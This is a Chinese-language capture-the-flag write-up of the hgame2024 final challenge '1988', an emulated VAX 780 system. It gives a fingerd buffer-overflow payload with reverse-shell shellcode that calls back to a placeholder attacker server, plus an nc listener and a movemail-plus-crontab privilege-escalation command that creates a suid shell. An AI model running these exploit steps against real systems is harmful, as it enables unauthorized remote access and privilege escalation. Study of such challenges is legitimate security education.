hgame2024 final - 1988
Welcome to 1988, please read README.md carefully
用上了vax780的远古老题,并给出了详细的wp,以下是我粗略的解释
解题思路
首先利用fingerd
的gets
打栈溢出,执行任意shellcode,作者写的是反弹shell
没有服务器,frp还配不好,紧急借了台服务器
然后movemail
设有suid位,通过修改定时任务达到rce的目的,创建一个有suid位的sh
,
接着cat /flag
即可
EXPLOIT
Command on remote server :
1 | nc -lvvp 4444 |
Command on local machine :
1 | perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f{YOUR REMOTE SERVER IP}\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | ncat -v $TARGET_IP 79 |
注意用自己服务器的ip替换{YOUR REMOTE SERVER IP}
字段,保持字节的表达形式
Commands on remote server :
1 | (umask 0 && /etc/movemail /dev/null /usr/lib/crontab.local) |
稍等一会儿等待定时任务执行
1 | ls -l /tmp/sh |
成功拿到flag
后记
docker起不了,本地的环境久久无法正常工作,于是我决定直接打远程,所幸数据和原文都对的上, 作者给的脚本不需要多少修改就可以直接打通
同时这道题是对pwn一词的诠释,让我第一次见到了二进制利用在现实中的应用
参考
- 标题: hgame2024 final - 1988
- 作者: RocketDev
- 创建于 : 2024-03-23 17:56:00
- 更新于 : 2024-08-26 17:18:00
- 链接: https://rocketmadev.github.io/2024/03/23/final_1988/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论